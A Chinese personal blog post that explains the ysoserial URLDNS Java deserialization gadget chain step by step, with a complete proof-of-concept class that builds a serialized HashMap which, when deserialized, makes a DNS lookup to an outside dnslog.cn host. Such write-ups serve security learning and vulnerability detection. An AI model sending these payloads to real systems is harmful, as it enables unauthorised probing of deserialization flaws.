THIS IS B3c0me

记录生活中的点点滴滴

0%

URLDNS链

前言

URLDNS是ysoserial序列化中比较简单的一个链,URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法,所以不受jdk版本限制

一、流程

HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashcode() ->

URLStreamHandler().hashCode().getHostAddress() -> URLStreamHandler().hashCode() .getHostAddress().getByName()

1
2
3
4
5
6
1.HashMap.readObject()
2.HashMap.putVal()
3.HashMap.hash()
4.URL.hashcode()
5.URLStreamHandler().hashCode().getHostAddress()
6.URLStreamHandler().hashCode() .getHostAddress().getByName()

二、原理

java.util.HashMap实现了Serializable接口,重写了readObject,在反序列化时会调用hash函数计算key的hashCode,而java.net.URLhashcode在计算时会调用getHostAddress来解析域名,从而发出DNS请求。

三、分析

首先给出调试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* @Description :
* @Author: zcwww
* 2023/8/30 11:11
*/

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

/**
*该类用于调试复现URLDNS攻击链
*/
public class URLDNSlog {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Object> hashMap = new HashMap<>();
URL url = new URL("http://mkah20.dnslog.cn");
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, 123);
hashMap.put(url, 1);
field.set(url, -1);
new ObjectOutputStream(Files.newOutputStream(Paths.get("bin.ser"))).writeObject(hashMap);
Object o = new ObjectInputStream(Files.newInputStream(Paths.get("bin.ser"))).readObject();
System.out.println(o);
}
}

运行结果:域名会出现新的解析记录

具体流程分析

  • hashMap实现了Serializable接口,重写了readObject和writeObject方法,在序列化和反序列化的时候会优先执行hashMap的readObejct和writeObject

  • 根据链路跟进hashMap.readObject()->putVal()->hash

  • 继续跟进hash中的key.hashCode(),因为这里的key是URL类,所以会调用URL类中的hashCode()方法

  • 跟进URL类中的hashCode()方法:如果当前hash值为-1(-1是默认值),调用handler的hashCode()对hashCode进行一次hash,再返回;如果当前的hash值不是-1,则直接返回该hash值

  • 继续跟进handler中的hashCode()方法,这里出现了getHostAddress,继续跟进看看

  • 跟进后发现这个方法会返回这个域名的IP地址,也就是这里成功通过这条链发送了DNS请求

复现代码分析

到这里我们已经了解了通过URL的hashCode触发DNS请求的流程,下面我们再来看看我们的代码是如何实现这个流程的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//1.首先我们创建了一个hashMap的对象,这是基本触发点,因为hashMap中重写了readObject方法,而且它的readObject方法中会依次调用key.hashCode,而这里的key就是我们传进的URL对象
HashMap<URL, Object> hashMap = new HashMap<>();
//2.创建url对象,将其放进hashTable,目的是通过hashMap的hash调用url的hashCode()
URL url = new URL("http://mkah20.dnslog.cn");
Field field = url.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
//3.这里先设置url的hashCode为非-1,让它正常返回hash值
field.set(url, 123);
hashMap.put(url, 1);
//4.设置url的hashCode值为-1,目的是让它调用handler的hashCode(),handler的hashCode就会触发DNS请求。
//要注意这里是使用反射修改hashCode
field.set(url, -1);
//5.进行序列化和反序列化,进而触发hashMap的readObject,从而触发整个gedget链
new ObjectOutputStream(Files.newOutputStream(Paths.get("bin.ser"))).writeObject(hashMap);
Object o = new ObjectInputStream(Files.newInputStream(Paths.get("bin.ser"))).readObject();
System.out.println(o);

参考:

  1. https://www.bilibili.com/video/BV1Qe4y1m7G8?t=31.5

欢迎关注我的其它发布渠道